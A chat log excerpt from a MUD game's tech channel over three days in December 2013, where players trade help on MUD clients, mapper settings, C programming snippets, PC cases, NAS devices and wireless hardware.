T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Lol antec is a joke... cooler master and corsair trump antec
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: and thermaltake for that matter
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Trachx Tech: nonsense
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: well all three of those brands are not case manufacturers, but case rebadgers
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: all are good except thermaltake
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Antec doesn't even give you cable management options... that's pathetic
T3/r7/2013-12-08.txt.gz:{chan ch=tech}ElFeneri Tech: I recall that Antec used to be great. That was many years ago though. Perhaps they lost some over time.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: cable management options are balls
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Bunnyy Tech: what's wrong with thermaltake
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: nothing, thermaltake rocks
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: A case without cable management is a case with terrible airflow
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: coolermaster support is awesome, btw
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: nothing.  it is just my opinion.  they are ugly and bulky
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Bunnyy Tech: mine is pretty cool, imo :p
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Corsair's new Air 540 case is a nice change to the normal case layout
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: btw, for the question about acrylic cases and part 15, the answer is that they don't pass it, but they're not a complete product so they don't really have to ;-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: you can always build a raspberry pi out of a cookie tin :)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: <3 Rasberry pi :D
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: exp(i*pi) + 1 = 0
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: we use foxcanon
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: or what?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: the i-pi is owned by Apple.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: you're owned by apple too
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: nah, then never did a Job on me.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: You have received this alert because someone has attempted a math-based joke on Tech channel
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: that's almost like eco-terrorism.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: heh, an aard player compiled and ran tinyfugue on a raspberry pi :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}ElFeneri Tech: I run tt++ on one of my my pies
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: but does raspberry pi supplies free compilers to permit others to compile other portable softwares onto the raspberry pi
T3/r7/2013-12-08.txt.gz:{chan ch=tech}ElFeneri Tech: nope, gcc works fine.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Arindel Tech: hey yall im switching over to linux this weekend and was wondering if anyone could recommend a decent mud client?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Akuri Tech: tt++
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Akuri Tech: has a bit of a learning curve
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: just use mush
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Arindel Tech: ok cool :)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Bast Tech: install wine and use mushclient
T3/r7/2013-12-08.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Mushclient under wine.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Arindel Tech: ill check both out, thanks guys
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: does mush only keep a log of the channels or also of everything else you do?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: MUSH doesn't log anything by default
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: damn
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: yyou can tell it to log, though
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: right-click the communication log window to tell the chats to be logged
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Turie Tech: You can choose using the Communication Log Window.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: or go to game -> configure -> logging for all logging
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: I have a chat log. But I want a log of the main mud window of everything I have done the past few days
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: heh, past few days can't be done, but go to game -> configure -> logging to start from now
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Turie Tech: You need to do the last thing Abelinc said to do that.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: nod. but I needed the last few days. That sucks.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}.Godlike. Enki Tech: hay.. i have a small problem..  my mush client says "Unknown spellup option or target 'data' given. See 'HELP SPELLUP' for information on spellup filters. See 'HELP SPELLS' for the full list." every tick..  how do i remove it without removing the tick
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: remove the plugin causing it
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zzyzzyzzx Tech: is there a quick way to clear the communication log with mush?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}.Godlike. Enki Tech: i have no idea what that is.. im not used to this..  i usually play via android mobile
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Siren Cera Tech: what file are the maps stored in for MUSH?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Sickerone Tech: aardwolf.db
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: aardwolf.db
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Siren Cera Tech: thanks
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: more-specifically...<worlddame>.db, so if you change your worldname, it'll look for a different mapfile
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: <worldname>*
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Siren Cera Tech: yay!  it worked.  thakns
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Siren Cera Tech: thanks*
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Useful Hadar Tech: with C say i wanted to print first X numbers of my int, how would i go about that?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Cryos Tech: put it in a temp and truncate it
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: (x%100)/100 will give you the first 2 numbers, for example
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: where % is the mod function
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Useful Hadar Tech: it can be a random ammount of digits from 1-9
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: er, that's not right
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Cryos Tech: typecast the int into a string, then just loop over it x times
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: round(x/100,1)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: will do the first two
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: round(x/(10^y),1) will do the first y digits
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: (psedu-code)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: OK, no it won't
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: sorry, trying to multitask
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Turie Tech: Multi-tasking is bad
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: but yeah, making it into a string would be doable
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Caramel Milkshake Tech: for(int i=1
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Cryos Tech: lol ;
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Cryos Tech: double the semi colons
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Caramel Milkshake Tech: for(int i=1(semi)i<x(semi)++i) { printf("%d",(num%(10*i))>>i)(semi) } or something like that
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Caramel Milkshake Tech: well that doesn't quite do it :( nevermind
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Useful Hadar Tech: i would need to add them up after
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Turie Tech: How do you make an alias that allows you to cast 5 spells of one thing and then another?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Cryos Tech: if you need to add after just typecast back to int
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Siren Cera Tech: need more help... my S&D window jumped when I unclicked and now I cant see the menu bar to move it, how can I move it?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Cryos Tech: uninstall and reinstall =P
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: xset reset gui
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Madcatz Tech: xset reset gui
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Siren Cera Tech: thank you
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Sickerone Tech: try xset reset
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Arnica Tech: bot reset
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Caramel Milkshake Tech: http://ideone.com/ASgR22
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Siren Cera Tech: here's another one.. how do I change the font/fontsize in the S&D window?  colors too?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Comanchee Tech: and the length of it
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Useful Hadar Tech: anyone know a good read for setting up a bash shell function/alias for linux?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Cryos Tech: i would say read the .bash_profile and .bashrc
T3/r7/2013-12-08.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: anyone happen to know if cmud has a setting to keep select triggers enabled even when triggers are globally disabled?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Inferno Tech: no
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Useful Hadar Tech: you can throw all triggers you always want to keep on in a folder, and have an alias to disable all folders but that one
T3/r7/2013-12-08.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, i know there's workarounds
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: another option is to -triggers, note, #alarm 1 +triggers
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Does anyone here mud on a raspberry pi?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: a couple people have compiled CLI MUD clients on them
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: but little reason to actively MUD from one normally
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: mudding on a really old television... sounds fun :)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Xeil Tech: How do you add area to mob search on duckbat? I tried +mob prophet &area believer and +mob prophet +area believer
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Cryos Tech: just search for prophet and then select the one from the area believer
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Xeil Tech: I want to know how to use the additional arguments though. Like alignment and level and area.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: xeil: the arguments normally make sense, with +/- for on/off stuff, and &foo= &foo< and &foo< for numerics...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: however, restricting to an area is tricky, because it wants the area as a numeric
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: so first, you must search for just the areaname and click on the area
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: that will tell you the database's internal number of that area...THEN you &area=#
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Xeil Tech: Ah, got it thanks. 
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: for all other stuff, clicking the help on the bottom gives you the lowdown
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Xeil Tech: Yeah, I read the help but didn't get how area was numeric. Now I do.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: it's nonintuitive
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Xeil Tech: It's also interesting that you can narrow it by alignment but alignment doesn't seem to show up under a mobs entry.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Redwood Tech: anyone use presenter on powerpoint and could help?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: What's that?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Redwood Tech: its an addon? to powerpoint that allows you to make quizes and such
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Ozu Tech: with the aard mushclient is there a way to "undock" some of the miniwindows like the mapper for example and show them on a second screen?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: only if you expand the whole client to both screens
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: MUSHclient is unfortunately MDI
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: MUSHclient is a rooted window, with all other windows/miniwindows displayed on that
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Ozu Tech: meh different resolutions so its a no go
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: expand it to the width of the bigger one, drag it to be halfway on one or the other...
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Ryv Tech: for mapper, what does Scan Depth do, and whats a good number to set it to?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: generally, it comes with a good number for it to be set to
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Ozu Tech: 1366x768 on latop and 1920x1080 on the other so its not the width as much as the height
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't think there's any good reason for scan depth to be changed
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Ryv Tech: mine was set to 300, which i think is max. i dont remember if i changed it ever.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: (note that Fiendish is the foremost expert on the scandepth)
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I should probably just remove it at some point
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but I should probably do different startup resolutions first
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh man. I'm super scared of high density screens. Everything is done in pixels.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I am so not equipped to do proportional sizing
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not sure how to handle that problem
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Ryv Tech: is 300 the default?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: unrelated to 300
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for scan depth 300 is a nice high default number
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you want to speed up the mapper, just make sure quicklist is on
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Ryv Tech: yes i want to speed it up. How do i put that on?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it might be on by default, I'm not sure? My experience is that finding a single path is generally fast. It's just when you try to pathfind 50 different places that it slows down too much
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh man. apparently it's off by default
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you do 'mapper help search quicklist' do you get a result?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Ryv Tech: yeah i see it now
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I suppose I should change the default setting to not be sorted by distance
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm not sure how useful that sort is
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Useful Hadar Tech: would anyone happen to do screencasts from linux? im using recordmydesktop which works fine everything looks good, then i go to convert to another filetype to edit and it goes to hell, the frames move a lot quicker, the audio unsyncs its a huge mess, ideas?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Cryos Tech: how do you reset the aardwolf mushclient windwos?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: I think it's resetaard
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Cryos Tech: thanks it is
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Redwood Tech: What is a "non-native filetype" to save a power point presentation as?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: does anyone here use synology or similar NAS devices?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pogostick Rankin Tech: i use a synology one
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: last job used synology rackstations
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: I'm looking for a solution with a small footprint that I can use at home
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: with hot-swappable drives
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: synology seems popular
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: or well-received, I should say
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Trachx Tech: don't use Seagate Blac Armor
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tormat Tech: look at drobo :P
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: tbh for that I'd say drobo
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: pretty dummyproof and kind of futureproof as it's a flexible design that lets you create an array out of different-sized drives
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: with array, you mean JBOD?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: or somethig similar
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: a bit smarter than jbod, it builds in more safety
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: so it's more like an asymmetrical raid, where data is still distributed with parity
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: ok
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: so you'd have one parity dik?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: disk*
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: no, parity is distributed
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: ah
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Navi Tech: Any c programming around? Having some troubles. Have a string that ends with a newline that I'm trying to get rid of by replacing it with \0. It seems, however, that's just causing the current position to go back to the beginning of the line, so the next character in the buffer after the /0 will overwrite the first character in the entire string when printed to console.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Insane Xantcha Tech: You need to replace the last 2 chars, most likely... line terminator sounds like \r\n not jsut \n
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: nod, think of typewriters...newline is just rotating the platen, return is actually swinging it back to the beginning...but each of those actions can be done independently
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Navi Tech: Ah, okay, that makes sense. Would I just replace both with /0 then?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Navi Tech: Er, \0 rather.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tech: so newlines without carriage returns give the "stair stepping" text, while carriage return without newline overwrites
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Trachx Tech: end of line is probably \r\n
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Trachx Tech: I should read more carefully
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Navi Tech: Seems like it worked, thanks Xantcha
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Tigernuts Tech: what's the tech view on this? https://www.youtube.com/watch?feature=player_embedded&v=CP1j04_X4Oo
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: is there a way to have a trigger that makes my game flash in the taskbar? like when someone sends me a tell?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: mushclient btw
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Redwood Tech: yes. one sec.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Turie Tech: You could make a trigger for tells to be sent to pages.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Redwood Tech: ctrl+G, output, right side box 'new activity flash on taskbar'
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: flashes for everything though, just want tells to make it flash
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: got it to work btw. world.FlashIcon 
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Madcatz Tech: would a wireless-g adapter work on wireless-n networks, just at potentially lower speeds?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}I Sense Nonsense Tech: yes
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: my router has a setting for b/g/n, n only, g only, etc... i imagine it's pretty standard
T3/r7/2013-12-09.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Most all routers are set for 
T3/r7/2013-12-09.txt.gz:{chan ch=tech}I Sense Nonsense Tech: "Up to" N
T3/r7/2013-12-09.txt.gz:{chan ch=tech}I Sense Nonsense Tech: meaning b-n
T3/r7/2013-12-09.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, that was the default
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Madcatz Tech: nods, ok
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Madcatz Tech: wifi died on my laptop, trying to pick up a cheap pc card adapter
T3/r7/2013-12-09.txt.gz:{chan ch=tech}I Sense Nonsense Tech: It might be just as cheap to go on newegg and order another wireless card for your laptop depending on if you can access it easily or not
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: how much attention should one pay to the maximum operating altitude of a storage server?
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: I'm looking into a synology, but maximum operating altitude is 6200 feet
T3/r7/2013-12-09.txt.gz:{chan ch=tech}I Sense Nonsense Tech: That is if you feel comfortable opening up your laptop and replacing it.. it's just a matter of one or two screws and a single connection once you're in there.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: so I dont know if that could cause problems
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: I'd pay attention, unless you're in a pressurized building.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Madcatz Tech: Hmm.  I don't ever use the pcmcia slot, and they only seem to be like 10 bucks for one of those
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: Of course, it's a different question if you're at 6201 vs 8000.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: yeah
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: and this is just for home... so no pressurized buildings :)
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: I was just about to get it and then I saw the altitude restrictions
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: I think commercial airliners generally run an equivalent pressure of around 6-7000 feet, and I'd expect most hard drives (certainly laptop-aimed ones, and I'd WAG desktops aren't that much different) to do OK up there.  Though they may be a bit more shock sensitive.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: yeah... I'm just talking about home though
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: so if they mention it, it kind of worries me
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: Well, it's gonna have SOME max, so I'd be a little more worried about it NOT being mentioned   :p
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: yeah... some of the other devices are rated around 10K feet
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: but the one I want is 6200 feet :)
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: The drives itself would be the important part, so you could dig up their spec sheets. for details.  Or look at replacing/chooseing them for that.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: e.g., http:/knowledge.seagate.com/articles/en_US/FAQ/205031en?language=en_US
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: I thinkl I am fine on the hard drive front 
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: just wondering why they would talk about the altitude on a diskless system
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: might need to look beyond synology then
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: Not sure what else would be too quickly affected.  Liquid electrolytics caps might not like low pressure.  Thinner air won't cool as well, if something is marginal.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: Air-core inductors.  But I have a hard time with the idea that any of those will become a meaningful problem (at least in the sort of circuitry in question here) until well after you stop caring due to hypoxia.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: So in the absense of better information, my impulse would be to ignore the ratings on anything but the drives.  Of course, it's not my money.
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: yeah.. I never really considered altitude to be problem
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Pleiades Tech: but I just happened to read about it when I was looking at the specs
T3/r7/2013-12-09.txt.gz:{chan ch=tech}Lokathor Tech: hey guys i switched to a monitor that's not as wide as before and now my chat mini-window goes off the screen, how can i reset my windows in the default aard client?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Twitter Roninleader Tech: is there a way to guide mapper about which portal to use to go to a certain area?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Twitter Roninleader Tech: my problem is that when i xrt to scarred lands, it used the backstage portal for drageran, which has a key only door to run backwards through
T3/r7/2013-12-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: opera is stalled, mush is working. ctrl+alt+del doesn't let me go to task manager.. some failure to show security and shutdown options. win7. wth
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ctrl-shift-esc
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ayon Tech: Anyone have some experience with Mini-Windows?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ayon Tech: I am having a problem with WindowText
T3/r7/2013-12-10.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: what does rmsreconnect mean when trying to use a happy goat  aardwolf app for android ?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: does anyone here have a next gen console?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i have a sega saturn, does that count?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Nuanse Tech: it was next gen at a time
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: i mean based on current consoles like the WII, Xbox or PS
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: how do you reset the starting room for the mapper?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: in mushclient
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Bamboo Tech: xset mark
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Nuanse Tech: you dont, unless you use ww's scripts, then it's xset mark in room you wish to reset into
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: ww?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Nuanse Tech: winklewinkle
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: ahh
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: on the PC client along the input bar, the number that's next to hours online is that for number of active players?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Nuanse Tech: nope
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: what is it for then?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Insane Xantcha Tech: more likely lines that have crossed your screen since online
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Nuanse Tech: it's lines 
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Insane Xantcha Tech: Mine's currently at 414,623
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: ohhhhh now I understand
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Insane Xantcha Tech: but I mostly idle, so it's low
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: still on 5719
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Jaenelle Tech: Mine increases when I get new lines on the screen anyways. :) Like if I type 'note' it goes up a bunch.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Meliere Tech: Anyone have a good TT or TMUX setup please?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Meliere Tech: I can't seem to setup TT or Tmux good enough.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: how do I adjust my colours to look more alive and potentially make me blind?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Meliere Tech: How do most play? With what client?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Piffaron Tech: mush, I'd say
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Brun Tech: type: clients
